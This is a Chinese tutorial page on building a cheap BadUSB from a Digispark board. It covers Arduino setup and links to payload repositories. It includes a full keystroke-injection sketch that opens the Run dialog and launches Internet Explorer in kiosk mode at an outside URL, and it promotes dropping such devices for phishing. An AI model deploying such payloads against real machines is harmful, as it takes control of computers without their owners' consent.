首页
学习
活动
专区
圈层
工具
发布
37 篇文章
1
7块钱的BadUSB,怎么玩
2
插一个U盘黑一台电脑-Badusb最详细制作教程
3
十块钱RMB | 用Digispark制作一个简单的Badusb
5
打造属于自己的渗透神器 第二篇
6
社工模拟——利用BadUSB穿透3层内网
7
穿透内网防线,USB自动渗透手法总结
8
【内网渗透】神器Mimikatz的入门简单实践
9
实战渗透 | 情侣空间钓鱼邀请,撸它
10
渗透实战之QQ空间钓鱼网站
11
【漏洞挖掘】QQ钓鱼网站实战渗透[通俗易懂]
12
QQFishing QQ钓鱼站点搭建
13
看我如何定位骗子,找出幕后诈骗的黑手(上)
14
我用Python渗透了一个钓鱼网站的所有信息
15
简单的制作一个钓鱼网页游戏_简单网页制作代码
16
攻破黑市之拿下吃鸡DNF等游戏钓鱼站群
17
CobaltStrike专题 | CobaltStrike实现批量发送钓鱼邮件
18
关于钓鱼网站的原理以及防范方法
19
社会工程学之基础概念、IP获取、IP物理定位、文件属性社会工程学之基础概念、IP获取、IP物理定位、文件属性
20
关于ReelPhish神器的使用
21
七、Selenium与phantomJS----------动态页面模拟点击、网站模拟登录 每天一个小实例1(动态页面模拟点击,并爬取你想搜索的职位信息) 每天一个小实例2(模拟网站登录)我用的是
22
社会工程学 | cobalstrike批量发送钓鱼邮件方法
23
我用Python采集了所有微信好友的头像,发现了一个秘密
24
插入U盘自动攻击:BadUSB原理与实现(含视频)
25
珍惜数据,远离钓鱼
26
钓鱼网站相关数据
27
记一次识别钓鱼网站,所有的盗号都是不经意间
28
如何利用手机木马远程控制
29
如何使用Kali生成木马入侵安卓手机
30
黑客入侵你手机的方法不止两种哦
31
一个黑客的自白书
33
Kali之安卓木马
34
Kali利用Android木马渗透手机(高级篇)
35
记一次无线渗透
36
记一次渗透测试实战
37
你安全吗?丨点击“不明链接”后果是什么你知道吗?
清单首页技术文章详情

7块钱的BadUSB,怎么玩

引言

BadUSB最早是在2014年的黑帽大会上研究人员JakobLell和Karsten Nohl提出并展示的。不同于老式的U盘病毒,它利用了USB协议中的一个漏洞,通过模拟键盘、鼠标、网卡等从而让目标电脑执行恶意代码,达到控住主机或者窃取敏感信息等目的。

威胁

BadUSB的严重威胁主要来自于两个方面:

❶ 好奇心

捡到U盘肯定会好奇是谁丢的,或者里面是什么东西吧。在著名的美剧《黑客军团》中就出现了在停车场扔BadUSB来进行钓鱼的场景。

❷ USB协议漏洞

杀毒软件会对移动存储介质的内容进行查杀,但是肯定不会对接入的“键盘”进行查杀的。只要运行的payload是免杀的,那么BadUSB就不会被防护软件拦截。就目前看来,仍然没有一家的防护软件宣称能够阻拦这种攻击。

常见BadUSB

BadUSB现在有很多成熟的产品了,比如大名鼎鼎的hak5的USB RUBBER DUCKY,在美剧《黑客黑客》中,主角就是利用的这款BadUSB钓鱼从而控制目标主机的。

https://hakshop.com/products/usb-rubber-ducky-deluxe

https://malduino.com/

国内也有RadioWar基于Teensy++ 2.0 AT90USB1286芯片设计的FireGoose(烧鹅)http://wiki.radiowar.org/烧鹅

国内的部分极客也都在自己制作Badusb,大多是采用的Teensy 或者Arduino Leonardo,淘宝上还有厂商制作的U盘模样的Arduino Leonardo。

综上,基本常见的BadUSB价格都在$45刀(¥290)至¥45之间,那么作为一个使用方法大多为撒在地上、一次性的黑客工具来说,成本是一个很大的问题,那么今天就来介绍一款只需要几块钱就能买到的BadUSB——Digispark。

Digispark

❶ 简介

Digispark是一个基于ATTINY85微控制器的USB开发板,体积小且价钱便宜,功能方面则没有Arduino般强大。代码与Arduino大同小异,更可贵的是使用Arduino IDE来开发。淘宝上直接搜索Digispark就能看到了,价格在7-10元不等。

❷配置环境

Digispark官网给出的有教程。http://digistump.com/wiki/digispark/tutorials/connecting

安装 arduino 的 IDE。https://www.arduino.cc/en/Main/Software直接从官网按照自己的操作系统下载并安装。

安装Digispark的驱动。(32位操作系统和64位操作系统安装程序不同,需注意)https://github.com/digistump/DigistumpArduino/releases/download/1.6.7/Digistump.Drivers.zip

在Arduino应用程序中,进入“文件”菜单并选择“首选项”

在附加开发板管理器网址内填入并点击确定

http://digistump.com/package_digistump_index.json

注意:如果您已经在该框中输入了更多网址,请点击框右侧的按钮,然后在新行中输入此网址。

进入“工具”菜单,然后选择“开发板”子菜单 - 选择“开发板管理器”

然后从类型下拉菜单中选择“贡献”, 选择“Digistump AVR Boards”包,然后单击“安装”按钮

您将在“开发板管理器”窗口的底部栏上看到下载进度,完成后它会在列表中的该项旁边显示“已安装”。(特别慢)

安装完成后,就可以在开发板中看到Digispark了。选择默认的Digispark (Default - 16.5mhz)。

注意:在调用上传之前,不需要插入Digispark

点击上传按钮。底部状态框现在会要求您插入Digispark - 此时您需要插入它 - 或者拔下并重新插入它。

❸ Payload

关于的Digispark的payload,可以参考甚至修改它的keyboard库文件(修改可以参考usb.org)。

https://github.com/BesoBerlin/DigiKeyboard_DE/blob/master/DigiKeyboard.h

说到BadUSB的payload,就不得不提到hak5的USB-Rubber-Ducky。

https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads

应该是目前BadUSB里面payload最全的了,如果你懒得写,可以直接使用USB-Rubber-Ducky的payload翻译脚本

https://github.com/toxydose/Duckyspark

直接将大黄鸭的payload翻译成Digispark可用的就行了。

当然,我还是建议自己来改DigiKeyboard.h 文件和payload。

这里给出我的payload抛砖引玉

恶搞payload

代码语言:javascript
代码运行次数:0
复制
#include "DigiKeyboard.h"

void setup() {

DigiKeyboard.delay(2000);//开机延迟两秒钟,用于系统识别Digispark

DigiKeyboard.sendKeyStroke(0);

DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);//按R和win键,打开运行

DigiKeyboard.delay(100);

DigiKeyboard.sendKeyPress(KEY_LEFT_SHIFT);//按住左SHIFT,绕过输入法

DigiKeyboard.println("IEXPLORE   -K   HTTP://MTFLY.NET/X.HTM");

DigiKeyboard.sendKeyPress(0);//松开

DigiKeyboard.sendKeyStroke(KEY_ENTER);//按回车

DigiKeyboard.delay(2000);

DigiKeyboard.sendKeyStroke(KEY_A);//按A键,绕过第一次打开ie的提示框

}

void loop() {

}

注意:使用该payload时需要修改本地的DigiKeyboard.h,添加左shift键

#define KEY_LEFT_SHIFT 0xE1

总结

这么一个这么廉价并且win10无驱运行的BadUSB,Digispark可以算是居家旅行,杀人灭口的必备良器了。

来源:安恒信息

下一篇
举报
领券